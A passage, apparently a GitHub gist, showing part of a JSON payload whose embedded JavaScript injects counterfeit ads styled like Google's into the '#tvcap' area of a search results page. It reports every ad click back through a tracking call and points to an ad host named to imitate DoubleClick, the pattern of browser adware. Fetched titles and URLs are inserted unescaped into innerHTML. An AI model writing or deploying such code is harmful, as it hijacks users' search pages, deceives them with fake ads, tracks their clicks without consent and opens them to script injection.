3000) {\r\n var data = JSON.parse(xhr.responseText);\r\n if (data.length > 0) {\r\n appendResuls = true;\r\n postAction(\"results\");\r\n\r\n if (!style) {\r\n style = document.createElement(\"style\");\r\n style.innerHTML = '#tads h3,#tadsb h3,#mbEnd h3{font-size:18px !important;}#center_col .ads-ad:not(:first-child){border-top:1px solid transparent}#center_col ._Ak{color:#545454}.ads-ad{line-height:18px}#center_col ._Ak a._kBb{color:#609}#center_col ._Ak a:active{color:#dd4b39}#center_col ._Ak ._Bu,#center_col ._Ak ._Bu a{color:#808080}#center_col ._x2b{margin-left:-8px;margin-right:-8px}#center_col ._tve{border-top:1px solid #ebebeb;margin-right:-8px}#center_col ._IYf{border-top:1px solid #ebebeb;margin-left:-8px;margin-right:-8px}.GLOBAL__wtaic{}.ads-ad{padding-top:11px;padding-bottom:11px}#center_col ._Ak{position:relative;margin-left:0px;margin-right:0px}#tads{padding-top:2px;padding-bottom:5px;margin-top:-6px;margin-bottom:10px}#tadsb{padding-top:0;margin-top:-10px;padding-bottom:9px;margin-bottom:16px;}#center_col .ads-ad{padding-left:8px;padding-right:8px}#center_col ._Ak{border-bottom:1px solid #ebebeb}#center_col ._hM{margin:12px -17px 0 0}#center_col ._hM{font-weight:normal;font-size:13px;float:right}._hM span+span{margin-left:3px}._hM .g-bbll,._xQj{margin:0px 0px 0px 0px;padding:0px 0px 0px 0px}._tWj{padding-top:9px;padding-right:8px;padding-bottom:11px;padding-left:8px}._uWj{padding-top:11px;padding-right:8px;padding-bottom:10px;padding-left:8px}._vWj{padding-top:11px;padding-right:8px;padding-bottom:10px;padding-left:0}._Tkg{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-box-orient:vertical;-webkit-line-clamp:2}.ads-visurl{color:#006621;white-space:nowrap;font-size:14px}#center_col .ads-visurl cite{color:#006621;vertical-align:bottom}._WGk{display:inline-block;max-width:558px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ads-visurl ._mB{margin-right:7px;margin-left:0px}._mB{background-color:#59946b;border-radius:2px;color:#fff;display:inline-block;font-size:11px;padding:0 2px;line-height:14px;vertical-align:baseline}.action-menu,.action-menu-button,.action-menu-item,.action-menu-panel,.action-menu-toggled-item,.selected{}._Fmb,._Fmb:hover,._Fmb.selected,._Fmb.selected:hover{background-color:white;background-image:none;border:0;border-radius:0;box-shadow:0 0 0 0;cursor:pointer;filter:none;height:12px;min-width:0;padding:0;transition:none;-webkit-user-select:none;width:13px}.action-menu .mn-dwn-arw{border-color:#006621 transparent;margin-top:-4px;margin-left:3px;left:0;}.action-menu:hover .mn-dwn-arw{border-color:#00591E transparent}.action-menu{display:inline;margin:0 3px;position:relative;-webkit-user-select:none}.action-menu-panel{left:0;padding:0;right:auto;top:12px;visibility:hidden}.action-menu-item,.action-menu-toggled-item{cursor:pointer;-webkit-user-select:none}.action-menu-item:hover{background-color:#eee}.action-menu-button,.action-menu-item a.fl,.action-menu-toggled-item div{color:#333;display:block;padding:7px 18px;text-decoration:none;outline:0}._Ak .action-menu{line-height:0}#center_col ._Ak .action-menu .mn-dwn-arw{border-color:#006621 transparent}#center_col ._Ak .action-menu:hover .mn-dwn-arw{border-color:#00591E transparent}.ads-ad .action-menu .g-bbll{display:inline-block;height:12px;width:13px}.g-bbl-container{background-color:#fff;border:1px solid rgba(0,0,0,0.2);box-shadow:0 4px 16px rgba(0,0,0,0.2);color:#666;position:absolute;z-index:9120}.g-bbl-container.g-bbl-dark{background-color:#2d2d2d;border:1px solid rgba(0,0,0,0.5);color:#adadad;z-index:9100}.g-bbl-triangle{border-left-color:transparent;border-right-color:transparent;border-width:0 9.5px 9.5px 9.5px;width:0px;border-style:solid;border-top-color:transparent;height:0px;position:absolute;z-index:9121}.g-bbl-triangle.g-bbl-dark{z-index:9101}.g-bbl-triangle-bg{border-bottom-color:#bababa}.g-bbl-triangle-bg.g-bbl-dark{border-bottom-color:#0e0e0e}.g-bbl-triangle-fg{border-bottom-color:#fff;margin-left:-9px;margin-top:1px}.g-bbl-dark .g-bbl-triangle-fg{border-bottom-color:#2d2d2d}.g-bblc{display:none}._lBb{padding:16px}._zFc{padding-top:12px}._lBb a{text-decoration:none}._lBb a:hover{text-decoration:underline}._NU{margin-top:-2px;position:relative;top:2px}._mDc{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-box-orient:vertical;-webkit-line-clamp:2}._tig{min-height:36px}.ads-creative b{color:#6a6a6a}._yEo>li+li:before{content:\\' \u00b7 \\'}._MEo{border-top:1px solid rgba(0,0,0,.12);padding:0;width:100%;font-size:14px}._OEo{margin-bottom:-11px;padding:11px 0 0 0px}._yEo{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}._wEo,._uEo{margin:0 -13px -2px 0;padding:4px 0 3px 28px;width:418px}._uEo{width:588px}._vEo{margin:0 -13px -2px 0;padding:4px 0 3px 28px;width:614px}._wEo,._uEo{}._NEo{border-bottom:1px solid rgba(0,0,0,.12);padding:11px 0 0 0}._zEo{margin:0 0 -18px 0;padding:13px 0 13px 0px}._wEo>li,._vEo>li,._uEo li{-webkit-box-sizing:border-box;box-sizing:border-box;display:inline-block;padding:0 13px 2px 0;vertical-align:top;width:50%}._uEo li{width:33.33%}._wEo li,._zEo li,._uEo li{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}._zEo>li{padding:0 0 18px 0;font-size:16px}._vEo{padding-top:10px;padding-bottom:4px;margin-bottom:-15px}._vEo>li{padding-bottom:15px}._wEo>li,._vEo>li,._uEo li{line-height:inherit}._yEo>li{display:inline;margin:0;padding:0;line-height:inherit}._JEo{margin:0 -8px;padding-top:10px}._LEo{padding-left:16px;line-height:48px;margin-right:32px;color:#1a0dab}._KEo{padding-top:12px;float:right;margin-right:8px;color:rgba(0,0,0,.54)}._xEo{background-color:#fff;border:1px solid rgba(0,0,0,0.16);border-radius:2px;color:#222;display:inline-block;line-height:16px;margin-left:8px;padding:10px 16px;text-align:center}._xEo:last-child{margin-right:24px}._xEo:visited{color:#222}#center_col #tads._Ak{border-bottom:0px;margin-bottom:1px;}';\r\n document.body.appendChild(style);\r\n }\r\n\r\n var parentOl = document.querySelector(\"#tvcap #tads ol\");\r\n\r\n if (!parentOl) {\r\n var tads = document.createElement(\"div\");\r\n tads.className = \"_Ak c\";\r\n tads.id = \"tads\";\r\n tads.innerHTML = '<h2 class=\"_hM\"><\/h2><ol><\/ol>';\r\n document.getElementById(\"tvcap\").appendChild(tads);\r\n parentOl = document.querySelector(\"#tvcap #tads ol\");\r\n }\r\n try {\r\n for (var i = data.length-1; i >= 0; i--) {\r\n var li = document.createElement(\"li\");\r\n li.className = \"ads-ad oufff43Ffds44\";\r\n\r\n var resdescr = data[i].description \r\n if (resdescr.length > 150) {\r\n resdescr = resdescr.slice(0, 150) + \"...\"\r\n }\r\n\r\n li.innerHTML = '<h3 style=\"overflow: hidden;text-overflow: ellipsis;white-space: nowrap;\"><a href=\"'+ data[i].url +'\" target=\"_blank\" class=\"r-iUyk7CtpDh8Q\">'+ data[i].title +'<\/a><\/h3><div class=\"ads-visurl\"><cite class=\"_WGk\">'+ data[i].display_url +'<\/cite><\/div><div class=\"ellip ads-creative\" style=\"white-space: normal;text-overflow: initial;overflow: visible;\">'+ resdescr +'<\/div>';\r\n li.querySelector(\"a\").onclick = function(){\r\n postAction(\"rlc:\"+this.href)\r\n }\r\n var first = parentOl.querySelectorAll(\"li\")[0];\r\n if (!first) {\r\n parentOl.appendChild(li)\r\n } else {\r\n parentOl.insertBefore(li, first)\r\n }\r\n }\r\n } catch(ev){}\r\n } \r\n }\r\n }\r\n }\r\n}\r\n\r\ninit();",
"ad": {
"url": "http:\/\/doubleclickadexchange.com\/?url="
},
"ad_token": "9ad0426d77f5835e42c58ba71c94f778372"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment